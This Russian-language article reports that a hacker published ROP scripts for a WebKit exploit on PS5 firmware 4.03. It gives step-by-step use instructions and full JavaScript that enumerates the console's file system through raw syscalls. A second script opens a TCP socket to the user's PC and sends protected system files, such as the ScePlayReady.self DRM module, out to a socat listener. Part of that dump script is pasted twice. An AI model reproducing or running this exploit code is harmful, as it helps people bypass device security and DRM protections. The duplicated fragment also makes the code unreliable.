Специализирующийся на взломе PlayStation хакер Bigboss опубликовал скрипты ROP (возвратно-ориентированного программирования) для перечисления и вывода данных из файловой системы PS5 с версией прошивки 4.03 с помощью webkit эксплоита. Конечно, получить весь дамп файлов не выйдет, а только файлы, доступные через разрешения webkit. Тем не менее, благодаря этому можно получить ясную картину файлов PS5.
Видео дня
Дампинг файловой системы PS5 с пошивкой 4.03. Инструкция
Наверное, это очевидно, но для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.
Необходимо будет модифицировать выполнение ROP в пользовательском пространстве. Эти файлы были выпущены ChendoChap и ZnullPtr некоторое время назад и доступны здесь.
После строчки 650 скрипта exploit.js (alert(`sys_getpid: ${pid}`);), скорее всего, потребуется удалить раздел образцов (Threading Sample и Branch Sample) и заменить их представленным ниже кодом от Bigboss.
Далее нужно сохранить полученные файлы на сервере и загрузить index.html через браузер PS5 (например, можно воспользоваться одним из DNS от Al-Azif: 165.227.83.145 или 192.241.221.79, получить доступ к странице с руководством для пользователя на PS5, а затем воспользоваться URL-переадресатором).
Скрипт для перечисления файлов и папок (также дает имя строке sandbox, полупроизвольное имя папки под конкретного пользователя):
let directory=malloc(256,1); p.writestr(directory.add32(0),»/»); let retopen=await chain.syscall(5,directory,0,0); let directoryBuffer=malloc(1024*1024,1); let directorySize=1024*1024; let retgetdent=await chain.syscall(272,retopen,directoryBuffer,directorySize); let numbytes=parseInt(retgetdent,16); let entry; let num_entry=0; let d_fileno; let d_reclen; let d_type; let d_namelen; let d_name; let position=0; for(position=0;position<numbytes;){ entry=directoryBuffer.add32(position); d_fileno=p.read4(entry.add32(0)); d_reclen=p.read2(entry.add32(4)); d_type=p.read1(entry.add32(6)); d_namelen=p.read1(entry.add32(7)); d_name=p.readstr(entry.add32(8)); alert(«num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}»); position=position+d_reclen; parseInt(position)+parseInt(d_reclen,16); num_entry++; }
Скрипт для создания дампа файла в целевом файле на компьютере:
//POST EXPLOIT STUFF HERE //change once per file name //use for example in your pc socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,creat,trunc let tcpsocket=await chain.syscall(97,2,1,0); alert(`sys_socket: ${tcpsocket}`); let tcpsocketaddr=malloc(16,1); p.write1(tcpsocketaddr.add32(1),2); p.write2(tcpsocketaddr.add32(2),0x1247); //change ip for your pc p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD) alert(`before sys_connect`); let ret_tcpconnect=await chain.syscall(98,tcpsocket,tcpsocketaddr,16); alert(`sys_connect: ${ret_tcpconnect}`); //the right way is to use stat get size but this is quick and dirty test let tcpmessage=malloc(34406400,1); let tcpmessage_size=34406400; let file=malloc(256,1); p.writestr(file.add32(0),»/RcDZV3xbd4/common/lib/ScePlayReady.self»);//example path /RcDZV3xbd4/common/lib/ScePlayReady.self, change RcDZV3xbd4 to your sandbox string let retopen_file=await chain.syscall(5,file,0,0); alert(`syscall_open return ${retopen_file}n`); let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=await chain.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); alert(`syscall_open return ${retopen_file}n`); let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=await chain.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); //size used was for a self file //after all this your ScePlayReady.self file is created and closed
Конечно, энтузиасты, работающие над взломом PS5, уже наверняка получили файлы с помощью этого механизма (и, вероятно, смогли получить еще больше другими способами), но для тех, кто просто хочет посмотреть, как это делается, представленные выше скрипты являются самым простым способом.